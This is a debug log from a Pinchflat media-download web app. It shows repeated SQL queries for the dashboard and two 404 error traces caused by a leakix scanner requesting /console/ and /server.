21:37:22.969 [debug] QUERY OK source="sources" db=2.3ms queue=0.1ms idle=1013.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:37:22.975 [debug] QUERY OK source="media_items" db=5.5ms idle=1016.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:22.977 [debug] QUERY OK source="media_items" db=1.4ms idle=481.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:22.979 [debug] QUERY OK source="settings" db=0.4ms idle=13.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:22.980 [debug] QUERY OK source="settings" db=0.3ms idle=13.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:22.984 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=13.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:22.991 [debug] QUERY OK source="tasks" db=1.4ms idle=13.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:23.000 [debug] QUERY OK source="media_items" db=0.7ms queue=0.4ms idle=21.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:23.002 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=21.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:23.005 [debug] QUERY OK source="sources" db=1.3ms queue=0.2ms idle=23.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:37:23.044 [debug] QUERY OK source="media_items" db=4.5ms idle=56.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:37:23.050 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=54.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:23.051 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=50.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:37:23.054 [info] Sent 200 in 90ms 21:37:28.463 [info] GET / 21:37:28.463 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:37:28.465 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=1492.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:28.466 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1494.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:37:28.467 [debug] QUERY OK source="sources" db=0.3ms idle=1495.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:37:28.472 [debug] QUERY OK source="media_items" db=5.1ms idle=1495.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:28.483 [debug] QUERY OK source="media_items" db=10.4ms idle=956.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:28.485 [debug] QUERY OK source="settings" db=0.6ms idle=19.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:28.485 [debug] QUERY OK source="settings" db=0.2ms idle=18.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:28.486 [debug] QUERY OK source="settings" db=0.3ms idle=18.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:28.488 [debug] QUERY OK source="tasks" db=0.6ms idle=15.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:28.489 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:28.491 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:28.493 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:37:28.504 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=13.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:37:28.508 [debug] QUERY OK source="media_items" db=3.2ms queue=0.1ms idle=16.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:28.509 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=19.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:37:28.513 [info] Sent 200 in 49ms 21:37:29.464 [info] GET /console/ 21:37:29.466 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=971.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:29.467 [debug] QUERY OK source="settings" db=0.2ms idle=962.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:29.467 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:29.468 [error] #PID<0.36599.0> running PinchflatWeb.Endpoint (connection #PID<0.36597.0>, stream id 2) terminated Server: youtube.plexultra.com:80 (http) Request: GET /console/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36599.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMkNUE9iBfRIQAAVij"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36599.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priva (truncated) 21:37:30.530 [info] GET /server 21:37:30.532 [debug] QUERY OK source="settings" db=1.1ms idle=1064.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:30.533 [debug] QUERY OK source="settings" db=0.4ms idle=1006.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:30.533 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:30.534 [error] #PID<0.36600.0> running PinchflatWeb.Endpoint (connection #PID<0.36597.0>, stream id 3) terminated Server: youtube.plexultra.com:80 (http) Request: GET /server ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36600.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMkRSZUMe6wvoAAVjD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: 